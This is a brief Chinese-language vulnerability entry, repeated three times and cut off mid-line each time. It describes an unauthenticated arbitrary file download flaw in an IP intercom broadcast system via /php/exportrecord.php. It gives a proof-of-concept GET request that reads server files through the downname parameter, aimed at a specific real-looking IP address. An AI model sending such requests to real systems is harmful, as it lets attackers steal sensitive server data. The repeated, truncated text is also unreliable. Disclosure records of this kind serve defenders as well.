IP网络对讲广播系统在3.0.3_20201113_RELEASE(HIK)版本中存在任意文件下载漏洞,未授权的攻击者能够通过/php/exportrecord.php文件读取任意文件内容,导致服务器的敏感信息泄露 ## poc ``` GET /php/exportrecord.php?downtype=10&downname=C:\ICPAS\Wnmp\WWW\php\conversion.php HTTP/1.1 Host: 219.128.48.234:40...
IP网络对讲广播系统在3.0.3_20201113_RELEASE(HIK)版本中存在任意文件下载漏洞,未授权的攻击者能够通过/php/exportrecord.php文件读取任意文件内容,导致服务器的敏感信息泄露 ## poc ``` GET /php/exportrecord.php?downtype=10&downname=C:\ICPAS\Wnmp\WWW\php\conversion.php HTTP/1.1 Host: 219.128.48.234:40...
IP网络对讲广播系统在3.0.3_20201113_RELEASE(HIK)版本中存在任意文件下载漏洞,未授权的攻击者能够通过/php/exportrecord.php文件读取任意文件内容,导致服务器的敏感信息泄露 ## poc ``` GET /php/exportrecord.php?downtype=10&downname=C:\ICPAS\Wnmp\WWW\php\conversion.php HTTP/1.1 Host: 219.128.48.234:40...